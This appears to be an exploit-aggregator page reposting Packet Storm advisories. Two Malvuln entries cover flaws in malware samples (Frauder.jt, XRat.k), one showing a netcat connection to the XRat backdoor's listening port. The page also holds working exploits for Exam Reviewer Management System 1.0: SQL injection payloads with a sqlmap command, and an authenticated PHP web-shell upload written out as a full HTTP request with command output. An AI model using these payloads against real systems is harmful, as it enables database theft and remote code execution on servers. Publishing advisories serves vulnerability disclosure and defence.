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Everything you need to know about clickjacking

A complete guide how to exploit clickjacking and how to prevent it.
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Server-Side Request Forgery to Internal SMTP Access

Introduction about SSRF attack can be read on separated medium post Beginner Guide To Exploit Server Side Request Forgery (SSRF)…
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Exploit Collector
Backdoor.Win32.Frauder.jt Insecure Permissions

https://2.bp.blogspot.com/-S-N0q2XL8x8/WWlu5FDj1eI/AAAAAAAAIJA/vGskVQb_QegQZ0-UZMHSDeFJ08ju6pdGQCLcBGAs/s1600/h104.png
Backdoor.Win32.Frauder.jt malware suffers from an insecure permissions vulnerability.

MD5 | 72f1408eb050fbc9ad79b5002711ab97

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Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/16fab35b51f9e6447f2a8c04db4ebe93.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Frauder.jt
Vulnerability: Insecure Permissions
Description: The malware writes an extensionless PE file named "x" with insecure permissions under c:\ drive granting change (C) permissions to the authenticated user group. Standard users can rename the executable dropped by the malware to disable it or replace it with their own executable. Then wait for a privileged user to logon to the infected machine to potentially escalate privileges.
Type: PE32
MD5: 16fab35b51f9e6447f2a8c04db4ebe93
Vuln ID: MVID-2022-0481
Dropped files: x
Disclosure: 02/08/2022

Exploit/PoC:
C:\>cacls x
C:\x BUILTIN\Administrators:(ID)F
NT AUTHORITY\SYSTEM:(ID)F
BUILTIN\Users:(ID)R
NT AUTHORITY\Authenticated Users:(ID)C
C:\>dir x
Volume in drive C has no label.

Directory of C:\

02/09/2013 01:43 PM 25,088 x
1 File(s) 25,088 bytes
0 Dir(s) 27,505,713,152 bytes free

C:\>type x
MZÉ !This program cannot be run in DOS mode.
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com

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Backdoor.Win32.XRat.k Remote Command Execution

https://4.bp.blogspot.com/-4IgemuXxvlQ/WWlvJOAjEHI/AAAAAAAAIL4/GJdo6H5fQo4z7HKyurc-fIH3InSyWxX3gCLcBGAs/s1600/h145.png
Backdoor.Win32.XRat.k malware suffers from an unauthenticated remote command execution vulnerability.

MD5 | 863d62a91a107421d8e0bb06da35c4da

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Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/3d4350282ae043177063de2ad4827b97.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.XRat.k
Vulnerability: Unauthenticated Remote Command Execution
Description: XRat malware listens on TCP port 20888. Third-party attackers who can reach the system can run commands hijacking the infected host.
Type: PE32
MD5: 3d4350282ae043177063de2ad4827b97
Vuln ID: MVID-2022-0482
Dropped files: Rat.exe
Disclosure: 02/08/2022

Exploit/PoC:
nc64.exe x.x.x.x 20888
"X-Rat System Console" v2.8

Status Ready, Client: 192.168.18.130:8325

[DESKTOP-2C3IQHO@C:\WINDOWS\system32]#exec calc
Command "EXEC" succeed.

[DESKTOP-2C3IQHO@C:\WINDOWS\system32]#
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com

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Exam Reviewer Management System 1.0 SQL Injection

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Exam Reviewer Management System version 1.0 suffers from a remote SQL injection vulnerability.

MD5 | e7970c8c1f902600773384a6a7f42435

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# Exploit Title: Exam Reviewer Management System 1.0 - ‘id’ SQL Injection
# Date: 2022-02-18
# Exploit Author: Juli Agarwal(@agarwaljuli)
# Vendor Homepage:
https://www.sourcecodester.com/php/15160/simple-exam-reviewer-management-system-phpoop-free-source-code.html

# Software Link:
https://www.sourcecodester.com/download-code?nid=15160&title=Simple+Exam+Reviewer+Management+System+in+PHP%2FOOP+Free+Source+Code

# Version: 1.0
# Tested on: Windows 10/Kali Linux
Description – The ‘id’ parameter in Exam Reviewer Management System web
application is vulnerable to SQL Injection

Vulnerable URL - http://127.0.0.1/erms/?p=take_exam&id=1
POC:-
---

Parameter: id (GET)

Type: boolean-based blind

Title: AND boolean-based blind - WHERE or HAVING clause

Payload: p=take_exam&id=1' AND 4755=4755 AND 'VHNu'='VHNu
Type: error-based

Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY
clause (FLOOR)

Payload: p=take_exam&id=1' OR (SELECT 8795 FROM(SELECT
COUNT(*),CONCAT(0x71766a7071,(SELECT
(ELT(8795=8795,1))),0x7162716b71,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'MCXA'='MCXA
Type: time-based blind

Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

Payload: p=take_exam&id=1' AND (SELECT 2206 FROM (SELECT(SLEEP(5)))AhEo)
AND 'vqGg'='vqGg---
*SQLMAP COMMAND*
*# sqlmap -u "127.0.0.1/erms/?p=take_exam&id=1

Source:packetstormsecurity.com

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Exam Reviewer Management System 1.0 Shell Upload

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Exam Reviewer Management System version 1.0 suffers from a remote shell upload vulnerability.

MD5 | 8210a6ab622dcfcedbd58f7c4239c69c

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# Exploit Title: Exam Reviewer Management System 1.0 - Remote Code Execution (RCE) (Authenticated)
# Date: 2022-02-08
# Exploit Author: Juli Agarwal(@agarwaljuli)
# Vendor Homepage:
https://www.sourcecodester.com/php/15160/simple-exam-reviewer-management-system-phpoop-free-source-code.html

# Software Link:
https://www.sourcecodester.com/download-code?nid=15160&title=Simple+Exam+Reviewer+Management+System+in+PHP%2FOOP+Free+Source+Code

# Version: 1.0
# Tested on: XAMPP, Kali Linux
Description – The application suffers from a remote code execution in the
admin panel. An authenticated attacker can upload a web-shell php file in
profile page to achieve remote code execution.
POC:-
==========

# Request:

==========

POST /erms/classes/Users.php?f=save HTTP/1.1

Host: localhost

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101
Firefox/91.0

Accept: */*

Accept-Language: en-US,en;q=0.5

X-Requested-With: XMLHttpRequest

Content-Type: multipart/form-data;
boundary=---------------------------37791356766765055891341961306

Content-Length: 1004

Origin: http://localhost

Connection: close

Referer: http://localhost/erms/admin/?page=user

Cookie: PHPSESSID=22f0bd65ef694041af3177057e7fbd5a
-----------------------------37791356766765055891341961306

Content-Disposition: form-data; name="id"
1

-----------------------------37791356766765055891341961306

Content-Disposition: form-data; name="firstname"
Adminstrator

-----------------------------37791356766765055891341961306

Content-Disposition: form-data; name="lastname"
Admin

-----------------------------37791356766765055891341961306

Content-Disposition: form-data; name="username"
admin

-----------------------------37791356766765055891341961306

Content-Disposition: form-data; name="password"
-----------------------------37791356766765055891341961306

Content-Disposition: form-data; name="img"; filename="shell.php"

Content-Type: application/x-php
Remote code execution:

-----------------------------37791356766765055891341961306—
================

# Webshell access:

================
# Webshell access via:

POC: http://localhost/erms/uploads/1644334740_shell.php?cmd=id
# Webshell response:

Remote code execution:

uid=1(daemon) gid=1(daemon) groups=1(daemon)


Source:packetstormsecurity.com

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